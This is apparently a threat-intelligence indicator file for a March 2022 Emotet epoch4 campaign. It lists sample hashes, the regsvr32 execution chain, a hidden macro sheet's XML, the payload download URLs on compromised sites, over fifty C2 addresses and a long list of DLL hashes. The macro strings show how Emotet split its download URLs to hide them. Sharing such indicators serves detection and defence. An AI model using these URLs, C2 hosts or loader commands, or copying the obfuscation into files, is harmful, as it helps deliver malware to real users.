e4_emotet_14.03.2022.txt

Emotet 2022 | epoch4 | 14.03.2022 | 

************************************************************************************************************

.xls 8818bb5f9820dd11479e7bf10591dbd7241c767654e17e70877f7daf6f295435
.dll 0047e738f3fde9308fe845c33c79197dbb07d88da1d2960775f88109f96dc03e

************************************************************************************************************

Exec >>

EXCEL.EXE C:\Users\Admin\AppData\Local\Temp\2022-03-14_1453.xlsm

C:\Windows\SysWow64\regsvr32.exe -s ..\rds.ocx

C:\Windows\SysWOW64\regsvr32.exe /s C:\Windows\SysWOW64\Zcwtsndlb\antpgesee.sou

************************************************************************************************************

Hidden Macro Sheet - Obfuscation 

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="19" uniqueCount="19"><si><t>-</t></si><si><t>G</t></si><si><t>!</t></si><si><t>/</t></si><si><t>regsvr32.exe</t></si><si><t xml:space="preserve">&lt;0, </t></si><si><t>SysWow64\</t></si><si><t>\Windows\</t></si><si><t>",0,0)</t></si><si><t>,0,</t></si><si><t xml:space="preserve"> ..\rds.ocx
</t></si><si><t>..\rds.ocx</t></si><si><t>"h"&amp;"tt"&amp;"ps://the"&amp;"sp"&amp;"arklezbo"&amp;"x.c"&amp;"o"&amp;"m/w"&amp;"p-a"&amp;"d"&amp;"mi"&amp;"n/kFk"&amp;"W"&amp;"N/","</t></si><si><t>"h"&amp;"ttp"&amp;"s://h"&amp;"erb"&amp;"tyt"&amp;"ox.c"&amp;"o"&amp;"m/w"&amp;"p-a"&amp;"dm"&amp;"in/d"&amp;"q/","</t></si><si><t>"h"&amp;"tt"&amp;"p://w"&amp;"ww.asy"&amp;"ad"&amp;"egir"&amp;"me"&amp;"n.c"&amp;"o"&amp;"m/Te"&amp;"mp"&amp;"la"&amp;"te/nEM"&amp;"RY55"&amp;"nQ"&amp;"gF/","
</t></si><si><t>"h"&amp;"tt"&amp;"ps://we"&amp;"sttha"&amp;"me"&amp;"sp"&amp;"hy"&amp;"sio.c"&amp;"o"&amp;"m/bl"&amp;"og/D"&amp;"8A"&amp;"Ak"&amp;"Ey"&amp;"Z7"&amp;"u/","</t></si><si><t>"h"&amp;"ttp"&amp;"s://w"&amp;"w"&amp;"w.ad"&amp;"cre"&amp;"at"&amp;"or"&amp;"s.c"&amp;"o"&amp;"m.a"&amp;"u/adc"&amp;"re"&amp;"ators-e"&amp;"dm/RD"&amp;"k3Lt"&amp;"iwM"&amp;"kuDQy/","</t></si><si><t>"h"&amp;"ttp"&amp;"s://w"&amp;"w"&amp;"w.nip"&amp;"unp"&amp;"harm"&amp;"as"&amp;"kill.c"&amp;"o"&amp;"m/css/xm"&amp;"17D"&amp;"ssGXj"&amp;"Chc"&amp;"mm/","</t></si><si><t>"h"&amp;"tt"&amp;"ps://w"&amp;"w"&amp;"w.af"&amp;"yo"&amp;"nm"&amp;"aga"&amp;"zi"&amp;"n.c"&amp;"o"&amp;"m/w"&amp;"p-co"&amp;"nt"&amp;"en"&amp;"t/Dc"&amp;"nLR"&amp;"E/","</t></si></sst>      
                      

************************************************************************************************************

.dll distro

https://thesparklezbox.com/wp-admin/kFkWN/
https://herbtytox.com/wp-admin/dq/
http://www.asyadegirmen.com/Template/nEMRY55nQgF/
https://westthamesphysio.com/blog/D8AAkEyZ7u/
https://www.adcreators.com.au/adcreators-edm/RDk3LtiwMkuDQy/
https://www.nipunpharmaskill.com/css/xm17DssGXjChcmm/
https://www.afyonmagazin.com/wp-content/DcnLRE/

Network

https://217.182.143.248:8080/PUJMsBAPVmIsRLtiBlHHiQUdMZvkVUUkYLyYp

c2's

217.182.143.248:8080
185.4.135.27:8080
192.99.251.50:443
146.59.226.45:443
162.214.118.104:8080
195.154.133.20:443
103.75.201.2:443
5.9.116.246:8080
177.87.70.10:8080
31.24.158.56:8080
103.75.201.4:443
158.69.222.101:443
185.157.82.211:8080
185.8.212.130:7080
186.250.48.117:7080
110.232.117.186:8080
46.55.222.11:443
196.218.30.83:443
51.91.7.5:8080
176.56.128.118:443
207.38.84.195:8080
173.212.193.249:8080
45.118.135.203:7080
164.68.99.3:8080
209.126.98.206:8080
212.24.98.99:8080
151.106.112.196:8080
45.176.232.124:443
153.126.146.25:7080
212.237.17.99:8080
45.142.114.231:8080
107.182.225.142:8080
45.118.115.99:8080
79.172.212.216:8080
50.30.40.196:8080
82.165.152.127:8080
50.116.54.215:443
1.234.2.232:8080
58.227.42.236:80
216.158.226.206:443
159.8.59.82:8080
129.232.188.93:443
189.126.111.200:7080
138.185.72.26:8080
159.65.88.10:8080
103.221.221.247:8080
188.44.20.25:443
203.114.109.124:443
197.242.150.244:8080
51.254.140.238:7080
176.104.106.96:8080
178.79.147.66:8080
131.100.24.231:80

Additonal .dll file hashes provided by @fr0s7_

9e20e07a48486efef9ed29256e12e1a0
68428f7d3e2f20a05869dc6ef26414be
56d536c235d378280bde59d16e70f5d6
13c00f1b1e78890c5a57b90b38483acf
7e1f909bc72882d789a2035a417a1279
69623a02e3447769d0b86ed76d8f1940
8a2f1e04722b3660e7c6fae0d232c4a9
cb18a84460ac327ffe0d5650cdb59000
604cb6a52e6d469620ec2ffbf89286d9
54ad8cd5e95749ac3f17cf76a3e70f78
e01598d426fad85bcde52696eb7cd04d
e6609837ae832a22ff69544725b875bd
d9e32ce7ac2dad1fb8b12cc0b6178802
d0be247300717ed138cab9309d88ffa7
726a07ecde5fe93fc21fe0b7cd25de6d
d5dfe6e80ac00ba8c4977deb9fe98e1a
aec46b44372a010006de0f959226cc73
543ee6aa9475bd38bdd29805b3d75de9
c29e13c6ca764e2e7218f84b74510651
49c64f341df524a10df1cadaf2bf7193
1cbd95d671bf86a4abecb9b5096b4f0a
cf3abbcc37269c345e98e56d7bd6084b
8b99d5f156266930733bbf6b8629b93c
3ec302bc696272ec2c4af8b3c36056f5
c739395cb57d39e59a18299a30a90e68
6b037c9ec0a9f16b8bdd00bc2357380d
194c2e05f2a5247be393a817d00218e4
5f3b4ed04974c15f0ca41c4355f3b621
83ca8d2b43ea04d33eebcc3db0ac3c4a
20448a6eaa9978e6bec7b8d68bc697ba
7340f2b8a04400a48ee6c98d6a5967b3
3d188b6f7d0d1090894e97b2f042ed48
cd70955123a21d1376b0961bd0a91f58
3673833c5e60c5aadc88601cb39e2219
32321c368394dfe68aef48beec726822
3ddd05f353128750b62cd6f3a7e7e42e
8f03b7aa72889a2c95232569b9b5a2a7
f585f625455ef58d4e8bad1d8048af91
52653f0d40ad8e467a9afd84ed1113d6
f843560d2f3cf5fb9a420a6d3273c37c
6e5e6ca8cfbaa62e309ff0734a56aa69
fac3aeb70bb6325b4f93ce8252c73f57
e2ad3a24b5f831ba36d8618c646b0a86
7f8528485ab62ad2089abacc4aa3abbc
75ceead822a22ca436ddd83300351c09
32bc34220f8ad7f856328eb739ac54a2
09c9aaf612fa15c76e659181df3604c2
65a77fd7717d145db47364c2def30949
cfa752cef67a41ae39e11d4a83a6fa52
59d4f72f32604f1586d92eb68ba8ed08
295874acb7856f6e62acda74f61dfac9
936ec1beaeacdf6a50dcfe4fe20c2c47
7ae1a73b0c358b501add7a157b9fba66
4fbde913a268c7dedb6a725091260600
980a45ec3b14502b16b5e93cb91a6f36
426e690097206327e665f76ba25d0152
65f9c1ad64944c7719cefcc35ec46c7c
529110d2fa4f368473063e9c3939e347
6595bbebf551780a0d18dc1d54dee5ce
bd94f886c60a1992d7b56df24e904832
a534be6f614dd687c489305ad020ae88
7d483244404c55a64268354b81700411
bb64e0f6e444e23b46bf98acceccfde2
42db9d6b2cbde05b429bfcc8b49e1986
a77a7a511ea3a072eb659d654baa24e6
753cab0538a63ab2354a646aa35ff453
9ecf187a5af398ce6a1ba677ab7b9022
e8130332bd6ea53eaeb820a77987ea4e
b95fb53055d44fc3ce89fac699a58852
9fff53ae9237729fd7d4eff30b77c6a7
eb3708a31c657601527814e88814eea7
c4e3c514527ec6f6fdd71a43b67be8da
259826dbf6a6c74e5b1a146707af89ab
666747e7855f14e1feee5fb8f7983bcc
87b1c892f69887eff9850fc31da5becf
9151c6d2b9b36b5c8a0bf30dc27bd52e
fd27298e0f3a192b7475b291763bcfa9
8480e320f9573f65e60c48645c4ed733
7f2f803b0fe274395c381289a5f29d46
d943e70d9b91bfb33e62ea162f0e8a2c
da50a61f4fee6b9bf15cf5a3c2c6eee8
a28d631e28ad2811bc30803de3edc25f
a2cf8f8eb3c3f792c3ccab762ef16e74
132b2605d7634b1970a02129c0dac3da
84cb342f9b1f8fc3d8cbf5e140cd0faf
080fdd4057e311174d6d80028396b46b
22327f315beaa44deb6bb7227e264a31
b2fb79ae944f8bcaa24f0f7e4ca97706
c4c3580206270226ec8d79f1ee24d133
5c35d16f3e6b533aef1f63630918ed67
1d46c9ce1c45053ae06863d62334c238
a970f5f2d90f6a393972f444f0761507
48b19719af3fca6488aa11d1d109863d
51723afae6c3fbc25bf5ff7e3167aef1
e544b3b4b4a0b55b7449b4cbb041cd81
3001ad56455b3ab843d33ec1be1cc0a1
e63ac7e80a8a6d5160fdf22ae7ee6e1a
2e7d789a7b5b6fbd9ecc5fd36044e32e
ada409dbaabecabb683792beb32852f3
cbc39d7cf5367e31e8fd27ccd57f929d
2374ae95cdedd2db664ec94edd9ee277
ed5ba51546cae4e30ec549524e005648
d617ec1089f2091148dc834db7a1e90f
6b47138e33fdc490c1dbc1ddd07739ba
e34410057d4780c607470d565d6a7efd
992d9b7cef06e3f59b93d3ca923ecdc3
b86b1a7653e5ae98928beb02ea52d6b6
e079c49dd0e75e0b23be742730ada522
4195f44a1addaefbf5762a9535c77e80
73b98bf8b0f15264ce6ffcda7d77a5e8
65fa658a66528fffb6c22338f507679f
b8fabb43bcea79465f9a6c56118d87e2
612b209d55a793de625be3d8b56d714b
d3f0a70dcf197138fd9462e7551ce453
e9d40c871dabb8c442cbb25605118b41
99f2ccc1dd0a907ff27fe02a8fb69a32
33ca7635054f6221376dd45b5ecd5627
6c90a2c84eff4f70324d015eff850798
23a8571bcd614b1ea5ae0acf7371cf4e
4acc358dec62c9c89bf57123cecddbe6
f6d91fa43fef09ef3e2d55d9bea44b9a
77fae5e9797d5a5d7069e1fd2803f14d
350cb5bd4f6fbf3496b00877e05ce130
fca312e17dad946ea8f178c565ee093b
e5a43c51b91beec96ea772bf96b06821
6538cf20c7ed5572ceb71a1a38a47197
ae477246c6aae9ad32fa65b6e2134c6e
207e42352a3e6dc411f386f4e1d5e082
50443ce5a4c502cd562932c00dbd077a
60501064af68f52f40022ee7a966392c
49470473fdb0ec435b7895bb9a29f34e
3a6f24c351cf6d15e1dce3669e522edc
10800a895e3a63ae6adc7a60fa7c2702
304749db018a4b1c652ab8429be34851
71a00553f2f4c41707925ebfa7cbc515
431c06efac715f350a34c7b2cb509deb
10a01359b98eab4222d19009202c1717
ff6baa6953a5b22f8f89e420b1542f6e
8ae3fb4a663475776ba6db2cbdc8a3e3
e86543ffae6c75d1be13d63d547c65d7
9fe0c2ad89f89493d4f3fb0cf6c63952
bca7bdabe9ad2d64f364fed0ec4febd8
98c55ab241395afe3a68a106293919dc
ebbc37cbf0de9288160e9a574e95056f
78dfa162244c6bf21f8794e6692e1c51
cd3558da009f4e4a33df4df4d295a32a
835ecaf35f5f1722b6970f8acee76198
0cbf49735ea5dd5721c08e6a76e78e95
276c477694010c4eb7e3a2b173f7ee15
f7935d832335c91224921657507fa9a5
c371d0733633389de6aac9754264a6fa
4d3dcd5b161b2f79a223567a25ba2979
3ecdd53f2e5fedbcbd1be1ef82af2049
071a2fcd9e93c310344b5437c71e2ce3
9cfc215671e7b8f645022cd72cf554f0
7ef3155dc504acc09649808563b6cf77
8197dc316a5e362a50384078a8016f75
31f3c5b1da6833a6ca95c7032717bd2f
e8e25946586f3a78e2778ed0b0d33aef
6f3df62e4e2b10802963cc4a30098d52
45ef74b7ba1d96b8630a681dbf8b9c2d
659e943bd48caa8f574965193289543f
6f9dff4d55e4804a61e26cd2bd1a87a0
9d0ac11ca920caafc879dc83394916ec
be4ba2f5a9f6857448f23e72a436653a
9fb3a5f31bca7ecc615c0516f86bf48d
fcaf7b41442a50915d1bb2b6dac404e1
226ac685eeefab89b852ff8c23c2903a
f6f5fc65fab261c07b85e3cbdbdc7489
3abad1989ae72c85b6f59167214a35bc
94371c0334157c7f86ee3a7cc63b48fc
0003f657a8b7ea470e30d11914628545
3ec357f01dbadeed533c0975acb136c2
84a71364498e1292855b81b9687e9482
99e06fecda28f89dc6f439fe56a1cf22
c1d719b7bd3a1471403d3b9532331b15
52cfdf3653ab0f8bb2a93e9099b08c09
592ac64ff1a8c1a8ddf3df5233f1b708
610bb4888c03262eac4c34001366cb45
d1cc5e9a61c2c40ebe604ee8ad0010f1
4611d655ccc6b6c3d8b81b157c113cc7
a94cb4ec0886f9a0338a32b748216784
5bb821958e3be91600f97aae6bb7fc62
e780727037a8fc48dd8c8e930b3af388
27d1a7c662523cef0c0789008e7f2979
eaf5c469395a759634678aad73ecc805
2904c2ee03851b1a391aed97e0f13c64
924a13f15df15fbca2b4f5f3f700aa6d
005e63ddf24d60343d3a3355ab06d24c
82f43125e5ca6b7dd4b74a2c29519c2b
1c94e8a9807fdd63049a7128ce72c816
59bf8bb0e1551bf7fa5ba321808ee282
15477a3458d1b211627614197d32d162
68f3dfbd6a629caec14ae22df6b98cdf
1045288c5418b0193c0328f0f6032171
a21e3ac55c84cbe36287bbc30032a1ee
861f06f69b98b2a81139c2726a666039
015d8b7a869b90ac1422f12130d8bdf2
234837c6d57ecd542a84a776435b1b6e
4e5cbed752908f506c439f81c2dc29fd
244ae5f3fff19e31cc568d063052aa1a
aca619afacf57aeae7aeff77116db81c
9177ddef303233c00f7e0f81bc50b1bd
067178586f6b588457fcaa59be5b52f5
1c7b5b21122e4bbb7419a8bbac833b38
72bfb3a2664792be0a89971e1ddbe2c6
7f7f310d272c162c182a5a738f32c5eb
449dedb70bb39d2100542bf46cfdab06